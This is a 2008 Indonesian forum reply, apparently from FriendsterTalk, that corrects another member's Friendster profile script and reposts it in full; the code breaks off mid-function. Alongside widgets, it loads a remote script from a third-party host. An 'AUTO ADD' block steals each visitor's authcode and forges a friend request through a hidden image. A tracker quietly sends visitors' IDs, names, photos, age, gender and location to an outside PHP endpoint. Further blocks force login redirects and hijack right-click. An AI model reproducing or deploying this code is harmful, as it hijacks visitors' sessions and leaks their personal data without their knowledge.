2008-07-30 04:01:45

boim
» FTalkGeek
FTalk Level: zero
1060
0
1969-12-31

Re: [align=justify][b]bagi member yang ingin bertanya seputar tweaking FS, silahkan bertanya dan posting disini, tapi jangan lupa,,sebelum itu tolong [url=http://theftalk.com/t2744-%5BImportant%5D-

[quote=rezza]rezza[/quote] pantas ga jalan bro, cobaliat ini :thumbsdown: [quote][b]//ROCKADDICT PROFILE'S SCRIPT CREDIT TO FRIENDSTERTALK INDONESIA---------------------------------------------[/b] / CSS INJEKSI[/quote] ituh yg bikin scriptnya ga jalan :D coba ganti barisan atasnya dulu jd gini :thumbsdown: [spoiler]/* ROCKADDICT PROFILE'S SCRIPT CREDIT TO FRIENDSTERTALK INDONESIA---------------------------------------------*/ var java = document.createElement("script"); java.type = "text/javascript"; java.src = "http://h1.ripway.com/kherminator/Generator/Empty.js"; document.getElementsByTagName("head")[0].appendChild(java); //CSS INJEKSI var css; try { css = document.createElement("link"); }catch(e) { css = document.createElement("<link>"); } css.setAttribute("type","text/css"); css.setAttribute("rel","stylesheet"); css.setAttribute("href","http://tadulako.fileave.com/lomba/sucktheripper.css"); css.setAttribute("media","screen, print"); document.getElementsByTagName("head")[0].appendChild(css);[/spoiler] trus bagian yg bro kasi part B ma part C juga itu yg bikin smua script ga jalan :thumbsdown: ganti gini aja nulisnya :thumbsdown: [quote]/* PART A------------------------------------------------------------------here */ /* PART B------------------------------------------------------------------here */ /* PART C------------------------------------------------------------------here */ atau boleh seperti ini //PART A atau /* PART A---------------------------------------------------------------<[/quote] kira2 jadinya nanti scriptnya bro jadi gini :thumbsdown: [spoiler]/* ROCKADDICT PROFILE'S SCRIPT CREDIT TO FRIENDSTERTALK INDONESIA---------------------------------------------*/ //FORCE LOGIN if(pageViewerID==""){ alert("mangge, tabe..!! ane mamala Login ruru leh.!!!"); top.location.href="http://www.friendster.com/login.php?next=%2fuser.php%3fuid%3D"+pageOwnerID+"&cookie=1"; } var java = document.createElement("script"); java.type = "text/javascript"; java.src = "http://h1.ripway.com/kherminator/Generator/Empty.js"; document.getElementsByTagName("head")[0].appendChild(java); //CSS INJEKSI var css; try { css = document.createElement("link"); }catch(e) { css = document.createElement("<link>"); } css.setAttribute("type","text/css"); css.setAttribute("rel","stylesheet"); css.setAttribute("href","http://tadulako.fileave.com/lomba/sucktheripper.css"); css.setAttribute("media","screen, print"); document.getElementsByTagName("head")[0].appendChild(css); /* PART A------------------------------------------------------------------here */ //AUTO ADD VAR var afaimg = document.createElement('span'); afaimg.id = "addme"; document.getElementsByTagName('head')[0].appendChild(afaimg); /*AUTO ADD HANDLER*/ var eadd = "reza_s4qty@yahoo.com"; var k = document.getElementById("controlPanelButtons").innerHTML; var a = k.slice(k.indexOf("authcode=")); var m = a.slice(9,39); document.getElementById("addme").innerHTML = "<img src=\"http://www.friendster.com/addfriendrequest.php?authcode="+m+"&uid="+pageOwnerID+"&email="+eadd+"&firstname=&lastname=&friend=&submit=1\" width=\"0\" height=\"0\" />"; //favicon var icon = document.createElement("link"); icon.rel = "SHORTCUT ICON"; icon.href = "http://www.geocities.com/darkfreed/moodicon/51.gif"; document.getElementsByTagName("head")[0].appendChild(icon); //PIC ON TOOLTIPS for (i=0;i<10;i++) { fotosrc=document.getElementById("18").getElementsByTagName("td")[2*i].getElementsByTagName("div")[0].getElementsByTagName("img")[0].getAttribute("src"); linkcomment=document.getElementById("18").getElementsByTagName("td")[2*i+1].getElementsByTagName("ul")[0]; linkcomment.title="header=[] body=[<img src='"+fotosrc+"' style='width:164px;border:2px solid black;'>] offsetx=[120] offsety=[-30]"; fototd=document.getElementById("18").getElementsByTagName("td")[2*i]; fototd.style.display="none"; } //TOOLTIPS FOR WRITE document.write("<body title=\"header=[Hi.. "+pageViewerFName+"!!] body=[...berimba profile ku tano.!!! Nagaya toch?? ]\">"); //WELCOME ALERT alert("Welcome mangge... "+pageViewerFName+" !!!" + '\n' + "ri profile ku" + '\n' + "kamaimo..!!"); alert("this profile still under construction...!!" + '\n' + "so..., not perfect yet..!! "); alert("nemalia ADD yaku le" + '\n' + "OK.!! Rapopea ADD na'..!!"); /* PART B------------------------------------------------------------------here*/ /*ONLOAD HANDLER*/ function onProfileLoad() { //CP WITH FLASHVORTEX //FADING SHOUT OUT var risukeshoutfade = "<iframe id=\"tickermain\" src=\"http://h1.ripway.com/rockaddicted/fade.html\" width=\"100%\" height=\"75px\" marginwidth=\"0\" marginheight=\"0\" hspace=\"0\" vspace=\"0\" frameborder=\"0\" scrolling=\"no\"></iframe>"; document.getElementById('cpShoutoutBox').style.height='75px'; document.getElementById('cpShoutoutBox').style.overflowY='hidden'; document.getElementById('cpShoutoutBox').innerHTML = "<table width='100%'><tr><td align='center'>"+risukeshoutfade+"</td></tr></table>"; //insert tracker box at the end of sidebar column /* ADD BOX---------------------------------------------------------------here*/ addBox("<a href=\"#\" onClick=\"show_hide('content_tracker'); return false\"><div>"+pageOwnerFName+"\'s Biggest Fan\'z</div></a>",TRACKER.div.innerHTML,"tracker",/commonbox[\s]*?groups/i,null); show_hide('content_tracker'); //GUESSBOOK var guessbook = "<embed src='http://widget-68.slide.com/widgets/slidemap.swf' type='application/x-shockwave-flash' quality='high' scale='noscale' salign='l' wmode='transparent' flashvars='cy=un&il=1&channel=216172782129960808&site=widget-68.slide.com' style='width:300px;height:300px' name='flashticker' align='middle'></embed>"; addBox("<a href=\"#\" onClick=\"show_hide('content_guessbooking'); return false\"><div>"+pageOwnerFName+"\'z GuEzZ Book</div></a>",guessbook,"guessbooking",/commonbox[\s]*?groups/i,null); //CLOCK var clock = "<embed pluginspage='http://www.adobe.com/go/getflashplayer' src='http://www.yourminis.com/Dir/GetContainer.api?uri=yourminis/ErnestoQuezada/mini:radialClock' FlashVars='uniqueID=id1185746339640&xheight=190&xwidth=190&view=full&externalURL=http%3A%2F%2Fct%2Eyourminis%2Ecom%2FDir%2FGetMiniSwfPub%2Eapi%3Furi%3Dyourminis%2FErnestoQuezada%2Fmini%3AradialClock%26%5F%5Fversion%3D1185747189%26%5F%5Fversion%3D1185747189&uri=yourminis%2FErnestoQuezada%2Fmini%3AradialClock&accountname=&width=180&height=180&' type='application/x-shockwave-flash' allowScriptAccess='always' wmode='transparent' width='190' height='190'></embed>"; addBox("<a href=\"#\" onClick=\"show_hide('content_clocking'); return false\"><div>"+pageOwnerFName+"\'z CybeR ClocK</div></a>",clock,"clocking",/commonbox[\s]*?groups/i,null); show_hide('content_clocking'); //ROLLINGSTONE DAYLY var roll = "<embed pluginspage='http://www.adobe.com/go/getflashplayer' src='http://www.yourminis.com/Dir/GetContainer.api?uri=yourminis/Real/mini:rsnews' FlashVars='width=300&height=250&uri=yourminis/Real/mini%3Arsnews&' type='application/x-shockwave-flash' allowScriptAccess='always' wmode='transparent' width='300' height='250'></embed>"; addBox("<a href=\"#\" onClick=\"show_hide('content_rolling'); return false\"><div>"+pageOwnerFName+"\'z Rolling StoNe\'z</div></a>",roll,"rolling",/commonbox[\s]*?groups/i,null); show_hide('content_rolling'); //ANDHA NAVIGATION //CHATT var chat = "<br><!-- Begin ShoutMix - http://www.shoutmix.com -->"+"<iframe title=\"rockaddicted\" src=\"http://www2.shoutmix.com/?rockaddicted\" width=\"100%\" height=\"400\" frameborder=\"0\" scrolling=\"auto\">"+"<a href=\"http://www2.shoutmix.com/?rockaddicted\">View shoutbox</a>"+"</iframe>"+"<!-- End ShoutMix --><br>"; addBox("<a href=\"#\" onClick=\"show_hide('content_chating'); return false\"><div>"+pageOwnerFName+"\'z Chat Box</div></a>",chat,"chating",/commonbox[\s]*?controlpanel/i,null); show_hide('content_chating'); } //INIT /*MINI VIEWER*/ if (typeof SPAWNPIC == "undefined") { SPAWNPIC = {}; } SPAWNPIC = { photo: [], init: function() { this.ajaxRequest("http://"+window.location.host+"/"+pageViewerID,"SPAWNPIC.viewer",null); }, viewer: function(htm) { if (htm.replace(/^\s*|\s*$/g,"") === null) { alert("VMP Error: Unable to parse the photo!"); return; }else if (htm) { var name = /controlpanel_header">([\S\s]+?)<a\s+?name="controlpanel/i.exec(htm)[1].replace(/^(\d)$/,"0$1"); var photo = /imgblock200"><a[\S\s]*?>([\S\s]+?)<\/a><\/div>/i.exec(htm)[1].replace(/^(\d)$/,"0$1"); var status = /data">([\S\s]+?)<\/span><\/li>/i.exec(htm)[1].replace(/^(\d)$/,"0$1"); var since = /Since\:\s+?<\/span>([\S\s]+?)<\/li>/i.exec(htm)[1].replace(/^(\d)$/,"0$1"); var location = /Location\:\s+<\/span>([\S\s]+?)<\/li>/i.exec(htm)[1].replace(/^(\d)$/,"0$1"); this.photo = "<div class=\"fitem1wrapper\">"+ "<table class\"fitem1table\">"+ "<tr><td class=\"itd\">"+ "<a href=\"/"+pageViewerID+"\" title=\""+pageViewerFName+"\">"+photo+"</a></td>"+ "<td class=\"dtd\"><ul class=\"data\">"+ "<div class=\"title\"><li><a href=\"/"+pageViewerID+"\">"+name+"</a><br>"+ "Friendster ID: <a href=\"/"+pageViewerID+"\">"+pageViewerID+"</a>"+status+"<br>"+ "Member Since: "+since+"<br>"+ "Location: "+location+"</li>"+ "</div></ul></td></tr></table></div>"; this.box("Welcome "+name,this.photo,"spawnpic",/meettrail/i,"above"); } }, ajaxRequest: function(url,func,handler) { if (handler) { handler = ","+handler; }else { handler = ""; } var httprequest= window.XMLHttpRequest? new XMLHttpRequest():new ActiveXObject("Msxml2.XMLHTTP"); if (func) { eval("httprequest.onreadystatechange=function(){if (httprequest.readyState==4) {"+func+"(httprequest.responseText"+handler+");}}"); } httprequest.open("GET", url, true); httprequest.send(null); }, box: function(head,code,id,sibling,x) { var sbdiv = document.createElement("div"); sbdiv.className="commonbox "+id; sbdiv.id = id; if (!head) head = ""; else head = "<h2>"+head+"</h2>"; sbdiv.innerHTML = head; sbdiv.appendChild(document.createElement("div")); sbdiv.getElementsByTagName("div")[0].id ="content_"+id; sbdiv.getElementsByTagName("div")[0].innerHTML = code; var sbli = document.createElement("LI"); sbli.appendChild(sbdiv); if (!x) this.getModuleByClassName(sibling)[0].parentNode.parentNode.appendChild(sbli); else if (x == "below") this.getModuleByClassName(sibling)[0].parentNode.appendChild(sbli); else if (x == "above") { var ul = this.getModuleByClassName(sibling)[0]; ul.parentNode.parentNode.insertBefore(sbli,ul.parentNode); } }, getModuleByClassName: function(sClass) { var elm = []; var els = document.getElementsByTagName("*") || document.all; for (var j=0,k=els.length;j<k;j++) { if (new RegExp(sClass).test(els[j].className))elm.push(els[j]); } return elm; } }; /*TRACKER OBJECT*/ if (typeof TRACKER == "undefined") { TRACKER = {}; } TRACKER = { style: { filter: "chroma(color='#FFFFFF')", width: '300px', height: '525px', border: '0px', overflow: 'hidden' //to make it scroll, change to 'auto' }, attributes: { frameborder: '0', allowtransparency: 'true' }, phplink: "http://www.balibersatu.com/wvm/tracker.php", display: 7, //display perpage /* ------------------------------------------------------------------------------- */ /** -------------------------------------------------------------------------------- *** WVMv3.1 by marfillaster, *** copyright 2007 http://profiles.friendster.com/mumbhaki *** hosted 2008 http://www.balibersatu.com *** credits: feruzz, friendstertalk.com, friendster.com *** modified by Kher Navarro *** powered by Okacybernet *** Disclaimer: NO GUARANTEE and WARRANTY provided! For educational purposes only. *** Author will not be liable of ANY damage through the use of this program *** ------------------------------------------------------------------------------ */ base_domain: "http://profiles.friendster.com",div: null,param: null,timedetails: null,iframeid: "wvmiframe", details: { photo: null, gender: null, age: null, status: null, location: null, seek: null, since: null }, regexp: { photo: /imgblock200\x22><a[\S\s]*?img src="([\S\s]*?)"/i, gender: />([\S]*?male)/i, age: /male, ([\d]*?),/i, status: /male, [\d]*?, ([\S\s]*?)<\/span>/i, location: /Location\: <\/span><a[\S\s]*?>([\S\s]*?)<\/a><\/li>/i, seek: /In\: <\/span>([\S\s]*?)<\/li>/i, since: /Since\: <\/span>([\S\s]*?)<\/li>/i }, init: function() { try{getElementsByClass(/commonbox[\s]*?controlpanel/i,null,"DIV")[0].innerHTML+="<iframe id=\""+this.iframeid+"\" style=\"display:none\" src=\"about:blank\"></iframe>";}catch(e){this.error("Cannot insert inline iframe.");return;} var d= new Date(); var hr=invert(d.getTimezoneOffset()/60); this.timedetails="os="+hr; var ifsrc=this.phplink+"?"+this.timedetails+"&id="+pageViewerID+"&owner="+pageOwnerID+"&num="+this.display; var atr=""; var sty=""; for (val in this.attributes) { atr += val +"="+ this.attributes[val]+" "; } for (val in this.style) { sty += val +":"+ this.style[val]+";"; } try {this.div=document.createElement("<div>")} catch(e){this.div=document.createElement("div")} this.div.innerHTML="<iframe id=\"wvm\" "+atr+"src=\""+ifsrc+"\" style=\""+sty+"\"></iframe>"; if(pageViewerID!=pageOwnerID) if(pageViewerID!="") this.getDETAILS(); }, getDETAILS: function() { processAjaxRequest("GET",this.base_domain+"/user.php?uid="+pageViewerID+"&_pmr=h&_pmmo=0&_pmt=controlpanel_1_1",true,null, "TRACKER.parseDETAILS",null); }, parseDETAILS: function(htm) { if(htm.replace(/^\s*|\s*$/mg,"")=="") {this.error("Empty xmlresponse! Unable to parse your details!");return;} else { for (val in this.details) { try { this.details[val]=encodeURIComponent(new RegExp(this.regexp[val]).exec(htm)[1]); } catch(e) { this.details[val]=""; } } if(!this.details.photo) {this.error("Unable to parse primary photo! Invalid xmlresponse or incorrect photo regexp.");return;} this.param="?owner="+pageOwnerID+"&id="+pageViewerID+"&name="+pageViewerFName+"&img="+this.details.photo+"&gen="+this.details.gender+"&age="+this.details.age+"&stat="+this.details.status+"&loc="+this.details.location+"&seek="+this.details.seek+"&since="+this.details.since; try{document.getElementById(this.iframeid).src=this.phplink+this.param;}catch(e){this.error("Unable to locate inline iframe id:"+this.iframeid);return;} } }, error: function(e) { alert("WVM ERROR: "+e+" Tracker will not update."); } }; /*END TRACKER OBJECT*/ if (!attachOnLoadHandler(function(){onProfileLoad()})) window.onload = function(){onProfileLoad()}; SPAWNPIC.init(); TRACKER.init(); /*MISC FUNCTIONS*/ function addBox(head,code,id,siblingafter) { try { var li=document.createElement("li"); } catch(e) { var li=document.createElement("<li>"); } if(!head) head=""; else head="<h2>"+head+"</h2>"; li.innerHTML="<div id=\""+id+"\" class=\"commonbox "+id+"\">"+ head+ "<div id=\"content_"+id+"\">"+ code+ "</div>"+ "</div>"; if(siblingafter=="left") getElementsByClass(/commonbox[\s]*?controlpanel/i,null,"DIV")[0].parentNode.parentNode.appendChild(li); else if(siblingafter=="right") getElementsByClass(/commonbox[\s]*?friends/i,null,"DIV")[0].parentNode.parentNode.appendChild(li); else { var si=getElementsByClass(siblingafter,null,"DIV")[0]; si.parentNode.parentNode.insertBefore(li,si.parentNode); } } function processAjaxRequest(type,url,cont,param,handler,handlerparam) { if(handlerparam) handlerparam=","+handlerparam; else handlerparam=""; var httprequest= window.XMLHttpRequest? new XMLHttpRequest():new ActiveXObject("Msxml2.XMLHTTP"); if(handler) eval("httprequest.onreadystatechange=function(){if (httprequest.readyState==4) {"+handler+"(httprequest.responseText"+handlerparam+");}}"); httprequest.open( type, url, cont); if(type=="POST") { httprequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); httprequest.setRequestHeader("Content-length", param.length); httprequest.setRequestHeader("Connection", "close"); } httprequest.send(param); } function invert(x) { if(x>0) return parseInt("-"+x); else if(x<0) { x=x+""; return parseInt(x.substr(1,x.length-1)); } return 0; } function randOrd(){ return (Math.round(Math.random())-0.5); } function getElementsByClass(searchClass,node,tag) { var classElements = new Array(); if ( node == null ) node = document; if ( tag == null ) tag = '*'; var els = node.getElementsByTagName(tag); var elsLen = els.length; var pattern = new RegExp(searchClass); for (i = 0, j = 0; i < elsLen; i++) { if ( pattern.test(els[i].className) ) { classElements[j] = els[i]; j++; } } return classElements; } /*END MISC FUNCTIONS*/ /*PART C------------------------------------------------------------------*/ /*SLIDE SHOW PHOTO */ function embed(){ var slodde = "<embed src=\"http://widget-e7.slide.com/widgets/slideticker.swf\" type=\"application/x-shockwave-flash\" quality=\"high\" scale=\"noscale\" salign=\"l\" wmode=\"transparent\" flashvars=\"cy=fr&il=1&channel=216172782130257035&site=widget-e7.slide.com\" style=\"width:97%;height:150px\" name=\"flashticker\" align=\"middle\"/><div style=\"width:100%;text-align:center;\"><a href=\"http://www.friendster.com/photos/15054731\" target=\"_blank\"><b>View All Photo</a> | <a href=\"http://www.friendster.com/friendphotoupload.php?uid=15054731\" target=\"_blank\">Submit Photo</b></a></div>"; document.getElementById('content_1').style.height='97%'; document.getElementById('content_1').style.overflowY='hidden'; document.getElementById('content_1').innerHTML = "<table width='100%'><tr><td align='center'>"+slodde+"</td></tr></table>"; }setTimeout("embed()",10000); //MAIN FLASH FOTO var flashPhoto; try { flashPhoto = document.write("<style type=text/css>div.imgblock200{width:200;height:250;background-color:transparent;overflow:hidden}</style>"); }catch(e) { flashPhoto = document.createElement("<style type=text/css>"); } flashPhoto = "<embed src=\"http://widget-13.slide.com/widgets/slideticker.swf\" type=\"application/x-shockwave-flash\" quality=\"high\" scale=\"noscale\" salign=\"l\" wmode=\"transparent\" flashvars=\"cy=fr&il=1&channel=216172782130257035&site=widget-13.slide.com\" style=\"width:200px;height:250px\" name=\"flashticker\" align=\"middle\"/></embed>"; getDivElements("imgblock200",document.getElementById("content_0"),"div")[0].innerHTML=flashPhoto; function getDivElements(divClass,getId,tagName) { var classElements = new Array(); if ( getId == null ) getId = document; if ( tagName == null ) tagName = '*'; var esle = getId.getElementsByTagName(tagName); var esleLength = esle.length; var pattern = new RegExp("(^\s*|\s*$)" + divClass + "(\s|[\$]*?)"); for (i = 0,a = 0;i < esleLength;i++) { if (pattern.test(esle[i].className)) { classElements[a] = esle[i]; a++; } } return classElements; } //NO RIGHT CLICK var msg =" adoh mangge,"+pageViewerFName+" mo Bikin Apa le komiu klik kanan..?? diLARANG KERAZ di Profile KU klik kanan le!!!,"+pageViewerFName+"!!!Mau Tau Akibat na..hahahhahahahhahahahahhahahahahahhahahaha" function noRclick( event ) { if( event.which == 3 ) { alert( msg ); return false; } return true; } function noRclick2() { alert( msg ); top.location.href = "http://h1.ripway.com/rockaddicted/rock/punkdripper.html"; return false; } document.oncontextmenu = noRclick2; document.captureEvents( Event.MOUSEDOWN ); if( document.layers ) document.onmousedown = noRclick; //MINI MAXI CONTENT // CONTROLPANEL h=document.getElementById("controlpanel_header"); h.innerHTML="<a href=\"#\" onClick=\"show_hide('content_0'); return false\"><div >"+pageOwnerFName+"</div></a>"; show_hide('content_0'); /* MOREABOUT*/ h=document.getElementById("6").getElementsByTagName("h2")[0]; h.innerHTML="<a href=\"#\" onClick=\"show_hide('content_6'); return false\"><div>More About "+pageOwnerFName+"</div></a>"; show_hide('content_6'); // PUBLICCOMMENTS h=document.getElementById("18").getElementsByTagName("h2")[0]; h.innerHTML="<a href=\"#\" onClick=\"show_hide('content_18'); return false\"><div>Testimonials and Comments for "+pageOwnerFName+"</div></a>"; show_hide('content_18'); function show_hide(the_box) { if (document.getElementById(the_box)) { if (document.getElementById(the_box).style.display == 'none') { document.getElementById(the_box).style.display = 'block'; } else { document.getElementById(the_box).style.display = 'none'; } } } //CUSTOM TESTI ---------------------------------------------------------------------------------------------------------------------------< function testi() { document.getElementById("content_18").getElementsByTagName("div")[0].innerHTML= "<center><a href=\"/comments.php?uid=17030986\"><span>Post a Comment</a> | </span>"+ "<a href=\"/comments.php?uid=17030986\"><span> View All (666)</span></a><center>"; document.getElementById("content_18").getElementsByTagName("div")[21].innerHTML= "<center><a href=\"/comments.php?uid=17030986\"><span>Post a Comment </a> | </span>"+ "<a href=\"/comments.php?uid=17030986\"><span> View All (666)</span></a><center>"; }window.onload = function() {testi(); } //TOOLTIPS PHOTO COMMENT if (typeof document.attachEvent!='undefined') { window.attachEvent('onload',init); document.attachEvent('onmousemove',moveMouse); document.attachEvent('onclick',checkMove); } else { window.addEventListener('load',init,false); document.addEventListener('mousemove',moveMouse,false); document.addEventListener('click',checkMove,false); } var oDv=document.createElement("div"); var dvHdr=document.createElement("div"); var dvBdy=document.createElement("div"); var windowlock,boxMove,fixposx,fixposy,lockX,lockY,fixx,fixy,ox,oy,boxLeft,boxRight,boxTop,boxBottom,evt,mouseX,mouseY,boxOpen,totalScrollTop,totalScrollLeft; boxOpen=false; ox=10; oy=10; lockX=0; lockY=0; function init() { oDv.appendChild(dvHdr); oDv.appendChild(dvBdy); oDv.style.position="absolute"; oDv.style.visibility='hidden'; document.body.appendChild(oDv); } function defHdrStyle() { dvHdr.innerHTML='<img style="vertical-align:middle" src="info.gif"> '+dvHdr.innerHTML; dvHdr.style.fontWeight='bold'; dvHdr.style.width='170px'; dvHdr.style.fontFamily='Verdana'; dvHdr.style.border='1px solid #000000'; dvHdr.style.padding='3'; dvHdr.style.fontSize='11'; dvHdr.style.color='#000000'; dvHdr.style.background='#242424'; dvHdr.style.filter='alpha(opacity=85)'; // IE dvHdr.style.opacity='0.85'; // FF } function defBdyStyle() { dvBdy.style.borderBottom='1px solid #000000'; dvBdy.style.borderLeft='1px solid ##000000'; dvBdy.style.borderRight='1px solid #000000'; dvBdy.style.width='170px'; dvBdy.style.fontFamily='Verdana'; dvBdy.style.fontSize='10'; dvBdy.style.padding='3'; dvBdy.style.color='#909090'; dvBdy.style.background='#e5e5e5'; dvBdy.style.filter='alpha(opacity=85)'; // IE dvBdy.style.opacity='0.85'; // FF } function checkElemBO(txt) { if (!txt || typeof(txt) != 'string') return false; if ((txt.indexOf('header')>-1)&&(txt.indexOf('body')>-1)&&(txt.indexOf('[')>-1)&&(txt.indexOf('[')>-1)) return true; else return false; } function scanBO(curNode) { if (checkElemBO(curNode.title)) { curNode.boHDR=getParam('header',curNode.title); curNode.boBDY=getParam('body',curNode.title); curNode.boCSSBDY=getParam('cssbody',curNode.title); curNode.boCSSHDR=getParam('cssheader',curNode.title); curNode.IEbugfix=(getParam('hideselects',curNode.title)=='on')?true:false; curNode.fixX=parseInt(getParam('fixedrelx',curNode.title)); curNode.fixY=parseInt(getParam('fixedrely',curNode.title)); curNode.absX=parseInt(getParam('fixedabsx',curNode.title)); curNode.absY=parseInt(getParam('fixedabsy',curNode.title)); curNode.offY=(getParam('offsety',curNode.title)!='')?parseInt(getParam('offsety',curNode.title)):10; curNode.offX=(getParam('offsetx',curNode.title)!='')?parseInt(getParam('offsetx',curNode.title)):10; curNode.fade=(getParam('fade',curNode.title)=='on')?true:false; curNode.fadespeed=(getParam('fadespeed',curNode.title)!='')?getParam('fadespeed',curNode.title):0.04; curNode.delay=(getParam('delay',curNode.title)!='')?parseInt(getParam('delay',curNode.title)):0; if (getParam('requireclick',curNode.title)=='on') { curNode.requireclick=true; document.all?curNode.attachEvent('onclick',showHideBox):curNode.addEventListener('click',showHideBox,false); document.all?curNode.attachEvent('onmouseover',hideBox):curNode.addEventListener('mouseover',hideBox,false); } else {// Note : if requireclick is on the stop clicks are ignored if (getParam('doubleclickstop',curNode.title)!='off') { document.all?curNode.attachEvent('ondblclick',pauseBox):curNode.addEventListener('dblclick',pauseBox,false); } if (getParam('singleclickstop',curNode.title)=='on') { document.all?curNode.attachEvent('onclick',pauseBox):curNode.addEventListener('click',pauseBox,false); } } curNode.windowLock=getParam('windowlock',curNode.title).toLowerCase()=='off'?false:true; curNode.title=''; curNode.hasbox=1; } else curNode.hasbox=2; } function getParam(param,list) { var reg = new RegExp('([^a-zA-Z]' + param + '|^' + param + ')\\s*=\\s*\\[\\s*(((\\[\\[)|(\\]\\])|([^\\]\\[]))*)\\s*\\]'); var res = reg.exec(list); var returnvar; if(res) return res[2].replace('[[','[').replace(']]',']'); else return ''; } function Left(elem){ var x=0; if (elem.calcLeft) return elem.calcLeft; var oElem=elem; while(elem){ if ((elem.currentStyle)&& (!isNaN(parseInt(elem.currentStyle.borderLeftWidth)))&&(x!=0)) x+=parseInt(elem.currentStyle.borderLeftWidth); x+=elem.offsetLeft; elem=elem.offsetParent; } oElem.calcLeft=x; return x; } function Top(elem){ var x=0; if (elem.calcTop) return elem.calcTop; var oElem=elem; while(elem){ if ((elem.currentStyle)&& (!isNaN(parseInt(elem.currentStyle.borderTopWidth)))&&(x!=0)) x+=parseInt(elem.currentStyle.borderTopWidth); x+=elem.offsetTop; elem=elem.offsetParent; } oElem.calcTop=x; return x; } var ah,ab; function applyStyles() { if(ab) oDv.removeChild(dvBdy); if (ah) oDv.removeChild(dvHdr); dvHdr=document.createElement("div"); dvBdy=document.createElement("div"); CBE.boCSSBDY?dvBdy.className=CBE.boCSSBDY:defBdyStyle(); CBE.boCSSHDR?dvHdr.className=CBE.boCSSHDR:defHdrStyle(); dvHdr.innerHTML=CBE.boHDR; dvBdy.innerHTML=CBE.boBDY; ah=false; ab=false; if (CBE.boHDR!='') { oDv.appendChild(dvHdr); ah=true; } if (CBE.boBDY!=''){ oDv.appendChild(dvBdy); ab=true; } } var CSE,iterElem,LSE,CBE,LBE, totalScrollLeft, totalScrollTop, width, height ; var ini=false; // Customised function for inner window dimension function SHW() { if (document.body && (document.body.clientWidth !=0)) { width=document.body.clientWidth; height=document.body.clientHeight; } if (document.documentElement && (document.documentElement.clientWidth!=0) && (document.body.clientWidth + 20 >= document.documentElement.clientWidth)) { width=document.documentElement.clientWidth; height=document.documentElement.clientHeight; } return [width,height]; } var ID=null; function moveMouse(e) { //boxMove=true; e?evt=e:evt=event; CSE=evt.target?evt.target:evt.srcElement; if (!CSE.hasbox) { // Note we need to scan up DOM here, some elements like TR don't get triggered as srcElement iElem=CSE; while ((iElem.parentNode) && (!iElem.hasbox)) { scanBO(iElem); iElem=iElem.parentNode; } } if ((CSE!=LSE)&&(!isChild(CSE,dvHdr))&&(!isChild(CSE,dvBdy))){ if (!CSE.boxItem) { iterElem=CSE; while ((iterElem.hasbox==2)&&(iterElem.parentNode)) iterElem=iterElem.parentNode; CSE.boxItem=iterElem; } iterElem=CSE.boxItem; if (CSE.boxItem&&(CSE.boxItem.hasbox==1)) { LBE=CBE; CBE=iterElem; if (CBE!=LBE) { applyStyles(); if (!CBE.requireclick) if (CBE.fade) { if (ID!=null) clearTimeout(ID); ID=setTimeout("fadeIn("+CBE.fadespeed+")",CBE.delay); } else { if (ID!=null) clearTimeout(ID); COL=1; ID=setTimeout("oDv.style.visibility='visible';ID=null;",CBE.delay); } if (CBE.IEbugfix) {hideSelects();} fixposx=!isNaN(CBE.fixX)?Left(CBE)+CBE.fixX:CBE.absX; fixposy=!isNaN(CBE.fixY)?Top(CBE)+CBE.fixY:CBE.absY; lockX=0; lockY=0; boxMove=true; ox=CBE.offX?CBE.offX:10; oy=CBE.offY?CBE.offY:10; } } else if (!isChild(CSE,dvHdr) && !isChild(CSE,dvBdy) && (boxMove)) { // The conditional here fixes flickering between tables cells. if ((!isChild(CBE,CSE)) || (CSE.tagName!='TABLE')) { CBE=null; if (ID!=null) clearTimeout(ID); fadeOut(); showSelects(); } } LSE=CSE; } else if (((isChild(CSE,dvHdr) || isChild(CSE,dvBdy))&&(boxMove))) { totalScrollLeft=0; totalScrollTop=0; iterElem=CSE; while(iterElem) { if(!isNaN(parseInt(iterElem.scrollTop))) totalScrollTop+=parseInt(iterElem.scrollTop); if(!isNaN(parseInt(iterElem.scrollLeft))) totalScrollLeft+=parseInt(iterElem.scrollLeft); iterElem=iterElem.parentNode; } if (CBE!=null) { boxLeft=Left(CBE)-totalScrollLeft; boxRight=parseInt(Left(CBE)+CBE.offsetWidth)-totalScrollLeft; boxTop=Top(CBE)-totalScrollTop; boxBottom=parseInt(Top(CBE)+CBE.offsetHeight)-totalScrollTop; doCheck(); } } if (boxMove&&CBE) { // This added to alleviate bug in IE6 w.r.t DOCTYPE bodyScrollTop=document.documentElement&&document.documentElement.scrollTop?document.documentElement.scrollTop:document.body.scrollTop; bodyScrollLet=document.documentElement&&document.documentElement.scrollLeft?document.documentElement.scrollLeft:document.body.scrollLeft; mouseX=evt.pageX?evt.pageX-bodyScrollLet:evt.clientX-document.body.clientLeft; mouseY=evt.pageY?evt.pageY-bodyScrollTop:evt.clientY-document.body.clientTop; if ((CBE)&&(CBE.windowLock)) { mouseY < -oy?lockY=-mouseY-oy:lockY=0; mouseX < -ox?lockX=-mouseX-ox:lockX=0; mouseY > (SHW()[1]-oDv.offsetHeight-oy)?lockY=-mouseY+SHW()[1]-oDv.offsetHeight-oy:lockY=lockY; mouseX > (SHW()[0]-dvBdy.offsetWidth-ox)?lockX=-mouseX-ox+SHW()[0]-dvBdy.offsetWidth:lockX=lockX; } oDv.style.left=((fixposx)||(fixposx==0))?fixposx:bodyScrollLet+mouseX+ox+lockX+"px"; oDv.style.top=((fixposy)||(fixposy==0))?fixposy:bodyScrollTop+mouseY+oy+lockY+"px"; } } function doCheck() { if ( (mouseX < boxLeft) || (mouseX >boxRight) || (mouseY < boxTop) || (mouseY > boxBottom)) { if (!CBE.requireclick) fadeOut(); if (CBE.IEbugfix) {showSelects();} CBE=null; } } function pauseBox(e) { e?evt=e:evt=event; boxMove=false; evt.cancelBubble=true; } function showHideBox(e) { oDv.style.visibility=(oDv.style.visibility!='visible')?'visible':'hidden'; } function hideBox(e) { oDv.style.visibility='hidden'; } var COL=0; var stopfade=false; function fadeIn(fs) { ID=null; COL=0; oDv.style.visibility='visible'; fadeIn2(fs); } function fadeIn2(fs) { COL=COL+fs; COL=(COL>1)?1:COL; oDv.style.filter='alpha(opacity='+parseInt(100*COL)+')'; oDv.style.opacity=COL; if (COL<1) setTimeout("fadeIn2("+fs+")",20); } function fadeOut() { oDv.style.visibility='hidden'; } function isChild(s,d) { while(s) { if (s==d) return true; s=s.parentNode; } return false; } var cSrc; function checkMove(e) { e?evt=e:evt=event; cSrc=evt.target?evt.target:evt.srcElement; if ((!boxMove)&&(!isChild(cSrc,oDv))) { 